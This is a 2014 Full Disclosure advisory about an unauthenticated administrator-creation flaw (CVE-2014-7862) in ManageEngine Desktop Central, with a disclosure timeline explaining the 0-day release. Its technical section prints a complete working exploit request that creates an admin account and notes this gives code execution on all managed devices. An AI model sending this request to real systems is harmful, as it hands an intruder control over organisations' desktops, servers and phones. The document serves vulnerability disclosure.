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Date: Wed, 31 Dec 2014 02:17:55 +0000 From: Pedro Ribeiro <pedrib@...il.com> To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>, bugtraq <bugtraq@...urityfocus.com> Subject: [FD] [The ManageOwnage Series, part X]: 0-day administrator account creation in Desktop Central Hi, This is part 10 of the ManageOwnage series. For previous parts, see [1]. This time we have a vulnerability that allows an unauthenticated user to create an administrator account, which can then be used to execute code on all devices managed by Desktop Central (desktops, servers, mobile devices, etc). An auxiliary Metasploit module that creates the administrator account has been released and its currently awaiting review [2]. I will leave to someone else the task of creating an exploit that executes code on all managed devices (it's not hard to write but testing it properly might take a fair few hours). I am releasing this as a 0 day as 112 days have elapsed since I first communicated the vulnerability to ManageEngine. I received many promises about getting updates but they were very evasive (a disclosure timeline is at the bottom of this email). The full advisory text is below, and a copy can be obtained from my repo [3]. Regards, Pedro >> Administrator account creation in ManageEngine Desktop Central / Desktop Central MSP >> Discovered by Pedro Ribeiro (pedrib@...il.com), Agile Information Security ================================================================================= Disclosure: 31/12/2014 / Last updated: 31/12/2014 >> Background on the affected product: "Desktop Central is an integrated desktop & mobile device management software that helps in managing the servers, laptops, desktops, smartphones and tablets from a central point. It automates your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more." This vulnerability is being released as a 0day since ManageEngine failed to take action after 112 days. See timeline for details. >> Technical details: Vulnerability: Administrator account creation (unauthenticated) CVE-2014-7862 Constraints: none; no authentication or any other information needed Affected versions: all versions from v7 onwards GET /servlets/DCPluginServelet?action=addPlugInUser&role=DCAdmin&userName=dcpwn&email=bla@....com&phNumber=123456&password=8fR%2bRoOURmY0EXsX%2bCmung%3d=&salt=1401192012599&createdtime=1337 This creates a new administrator user "dcpwn" with the password "admin". You can now execute code on all devices managed by Desktop Central! A Metasploit module that exploits this vulnerability has been released. >> Fix: UNFIXED - ManageEngine failed to take action after 112 days. Timeline of disclosure: 11/09/2014: - Vulnerability information sent to Romanus, Desktop Central project manager. 23/09/2014: - Requested an update. Received reply "My development team is working on this to provide a fix. Let me check this and update you the status." 17/10/2014 - Requested an update. Received reply on the 19th "Due to festive season here i'm unable to get the update. Let me find this and update you by Monday." 30/10/2014 - Requested an update. Received reply "The development and testing of the reported part should get over in another 3 weeks and when it is ready for release build I'll send it for testing." 23/11/2014 - Requested an update. Received reply on the 24th "I was traveling hence couldn't give you an update. It should get released by next week or early second week. I'll send you an update on this." 31/12/2014 - Released information and exploit 112 days after initial disclosure. [1] http://seclists.org/fulldisclosure/2014/Aug/55 http://seclists.org/fulldisclosure/2014/Aug/75 http://seclists.org/fulldisclosure/2014/Aug/88 http://seclists.org/fulldisclosure/2014/Sep/1 http://seclists.org/fulldisclosure/2014/Sep/110 http://seclists.org/fulldisclosure/2014/Nov/12 http://seclists.org/fulldisclosure/2014/Nov/18 http://seclists.org/fulldisclosure/2014/Nov/21 http://seclists.org/fulldisclosure/2014/Dec/9 [2] https://github.com/rapid7/metasploit-framework/pull/4493 [3] https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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